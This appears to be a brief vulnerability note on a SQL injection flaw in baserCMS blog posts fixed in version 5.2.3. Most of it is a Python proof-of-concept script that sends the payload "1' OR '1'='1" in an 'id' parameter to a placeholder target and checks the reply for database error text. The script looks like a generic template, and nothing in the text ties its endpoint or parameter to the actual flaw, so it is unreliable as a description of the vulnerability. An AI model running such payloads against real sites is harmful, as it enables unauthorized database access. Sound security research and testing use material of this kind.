baserCMS is a website development framework. Prior to version 5.2.3, baserCMS has a SQL injection vulnerability in blog posts. This issue has been patched in version 5.2.3.
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Example)
target_url = "http://target-basercms.com/blog/posts/index"
# Malicious payload to test SQL injection
# This payload attempts to cause a database error or bypass logic
payload = "1' OR '1'='1"
params = {
"id": payload
}
try:
response = requests.get(target_url, params=params, timeout=10)
# Check if the response indicates SQL injection vulnerability
if response.status_code == 200 and ("syntax error" in response.text.lower() or "mysql" in response.text.lower()):
print("[+] Potential SQL Injection vulnerability detected!")
else:
print("[-] Vulnerability not detected or patched.")
except requests.RequestException as e:
print(f"Error: {e}")